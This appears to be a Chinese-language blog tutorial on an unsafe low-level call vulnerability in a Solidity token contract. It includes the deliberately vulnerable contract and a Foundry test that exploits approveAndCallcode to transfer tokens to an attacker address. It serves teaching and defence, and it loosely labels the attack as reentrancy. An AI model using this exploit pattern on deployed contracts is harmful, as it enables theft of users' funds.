区块链安全常见的攻击合约和简单复现,附带详细分析——不安全调用漏洞 (Unsafe Call Vulnerability)【6】

区块链安全常见的攻击分析------不安全调用漏洞 Unsafe Call Vulnerability

  • [区块链安全常见的攻击合约和简单复现,附带详细分析------不安全调用漏洞 (Unsafe Call Vulnerability)【6】](#区块链安全常见的攻击合约和简单复现,附带详细分析——不安全调用漏洞 (Unsafe Call Vulnerability)【6】)
    • [1.1 漏洞合约](#1.1 漏洞合约)
    • [1.2 漏洞分析](#1.2 漏洞分析)
    • [1.3 攻击步骤分析](#1.3 攻击步骤分析)
    • [1.4 攻击合约](#1.4 攻击合约)

区块链安全常见的攻击合约和简单复现,附带详细分析------不安全调用漏洞 (Unsafe Call Vulnerability)【6】

Name: 不安全调用漏洞 (Unsafe Call Vulnerability)

重点: 在 TokenWhale 合约的 approveAndCallcode 函数中,漏洞允许任意调用并传入任意数据。攻击者可以通过该函数利用 call(_extraData) 执行恶意代码,例如调用 transfer 函数将资金转移给攻击者,从而实现重入攻击并窃取资金。

1.1 漏洞合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/*
名称: 不安全调用漏洞 (Unsafe Call Vulnerability)

描述:
在 TokenWhale 合约的 approveAndCallcode 函数中,该漏洞允许执行任意调用,并传入任意数据,从而导致潜在的安全风险和意外后果。该函数使用低级调用 (_spender.call(_extraData)),在没有对 _spender 地址的有效性或 _extraData 数据进行任何验证的情况下执行代码。
这可能导致意外行为、重入攻击或未授权的操作。

这个练习展示了在调用合约时,输入和返回值未被检查的低级调用漏洞。
如果调用数据可控,则很容易引发任意函数执行。

缓解措施:
应尽可能避免使用低级调用 "call"。

参考:
https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9
*/

import "forge-std/Test.sol";

contract TokenWhale {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleDeploy(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000; // 1 mil
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }

    /* Approves and then calls the contract code*/

    function approveAndCallcode(
        address _spender,
        uint256 _value,
        bytes memory _extraData
    ) public {
        allowance[msg.sender][_spender] = _value;

        bool success;
        // vulnerable call execute unsafe user code
        (success, ) = _spender.call(_extraData);
        console.log("success:", success);
    }
}

1.2 漏洞分析

approveAndCallcode()函数中的call可以调用_spender地址的任意函数。

1.3 攻击步骤分析

  1. 调用 approveAndCallcode 函数,将 _spender 参数设置为 TokenWhaleContract 合约的地址。
  2. _extraData 参数设置为 transfer 函数的函数签名及其参数,触发低级调用 call,从而执行 transfer 函数,实现重入攻击。
  3. 输出结果

1.4 攻击合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "./UnsafeCall.sol";

contract ContractTest is Test {
    TokenWhale TokenWhaleContract;
    address Koko;
    address Aquarius;

    function setUp() public {
        TokenWhaleContract = new TokenWhale();
        Koko = vm.addr(1);
        Aquarius = vm.addr(2);
        // vm.deal(address(Koko), 1 ether);
        // vm.deal(address(Aquarius), 1 ether);
        vm.prank(Koko);
        TokenWhaleContract = new TokenWhale();
        TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));
        console.log(
            "TokenWhale balance:",
            TokenWhaleContract.balanceOf(address(TokenWhaleContract))
        );
    }

    function testUnsafeCall() public {
        vm.prank(Aquarius);
        uint256 AquariusBalance;
        uint256 TokenWhaleBalance;
        AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));
        console.log("Aquarius Balance:", AquariusBalance);
        bytes memory _extraData = abi.encodeWithSignature(
            "transfer(address,uint256)",
            address(Aquarius),
            700
        );
        TokenWhaleContract.approveAndCallcode(
            address(TokenWhaleContract),
            0,
            _extraData
        );
        assertEq(TokenWhaleContract.balanceOf(address(Aquarius)), 700);
        console.log("Attack success!!");

        TokenWhaleBalance = TokenWhaleContract.balanceOf(
            address(TokenWhaleContract)
        );
        console.log("TokenWhale Balance:", TokenWhaleBalance);
        AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));
        console.log("Aquarius Balance:", AquariusBalance);
    }
}
相关推荐
山兔14 小时前
18.2、网络安全评测技术与攻击
网络·安全·web安全
玲珑安全5 小时前
2024年玲珑安全年度总结
安全
儒道易行8 小时前
【网络安全实验室】SQL注入实战详情
java·数据库·安全·web安全·网络安全
太阳伞下的阿呆8 小时前
Spring boot对接安全证书
spring boot·安全
不灭锦鲤8 小时前
第52天小迪安全(暴力破解)
数据库·安全
老K(郭云开)9 小时前
最新版Chrome浏览器加载ActiveX控件之CFCA安全输入控件
前端·javascript·chrome·安全·中间件·edge
链上码农10 小时前
《Move 学习》模块与注释
区块链
网络安全(华哥)11 小时前
Web防火墙和下一代防火墙的区别
前端·安全·web安全
廾匸070512 小时前
网络安全威胁2024年中报告
网络·安全·web安全·网络安全·安全威胁